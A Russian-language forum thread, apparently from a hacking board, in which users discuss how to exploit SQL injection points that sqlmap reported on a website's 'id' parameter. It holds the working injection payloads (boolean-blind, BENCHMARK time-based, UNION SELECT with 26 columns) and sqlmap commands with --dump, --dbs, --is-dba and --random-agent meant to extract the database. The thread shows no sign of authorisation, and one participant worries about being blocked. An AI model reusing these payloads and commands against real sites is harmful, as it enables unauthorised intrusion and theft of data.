Как использовать иньекции которые предоставил sqlmap?

g00db0y сказал(а):

Добрый день!
При работе с sqlmap, мне выдало следующее:

Код:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=56' AND 3243=3243 AND 'VvcY'='VvcY

    Type: AND/OR time-based blind
    Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
    Payload: id=56' AND 7536=BENCHMARK(5000000,MD5(0x48444365)) AND 'FSfa'='FSfa
  
    Type: UNION query
    Title: MySQL UNION query (NULL) - 26 columns
    Payload: id=-6433' UNION ALL SELECT  NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6a6b71,0x717a6654616a7250436d4f46594972424768546c65456a425a484a504b6e6362454f6b4d50425851,0x716b6a6a71),NULL,NULL,NULL,NULL,NULL#

Подскажите, как это можно эксплуатировать?

Нажмите, чтобы раскрыть...

sudo сказал(а):

Например подставить значение поля payload в url?

Нажмите, чтобы раскрыть...

g00db0y сказал(а):

вставлял, и добавлял GROUP BY, UNION SELECT, и прочее, ничего не помогло

Нажмите, чтобы раскрыть...

sudo сказал(а):

Значит прога ошиблась и пейлоады оказались нерабочими. Логично?

Нажмите, чтобы раскрыть...

Iskus сказал(а):

сразу берешь и добавляешь --dump, если он раскрутит уязвимость, сразу тебе и дамп сделает если сможет

Нажмите, чтобы раскрыть...

qnit сказал(а):

Parameter: id (GET)


sqlmap.py -u "Bigfoot – Leaving Lasting Footprints in the World of Entertainment" --level 3 --risk 3 --threads 10 --is-dba --dbs --random-agent

Нажмите, чтобы раскрыть...

pr0phet сказал(а):

Звездочку только не надо в конце.

Нажмите, чтобы раскрыть...

qnit сказал(а):

тогда --level 3 --risk 3 --threads 10 --is-dba --dbs --random-agent -p id

Нажмите, чтобы раскрыть...

leonardocs сказал(а):

извините за идиотский вопрос, но из-за 10 потоков шанс улететь в блок увеличивается?

Нажмите, чтобы раскрыть...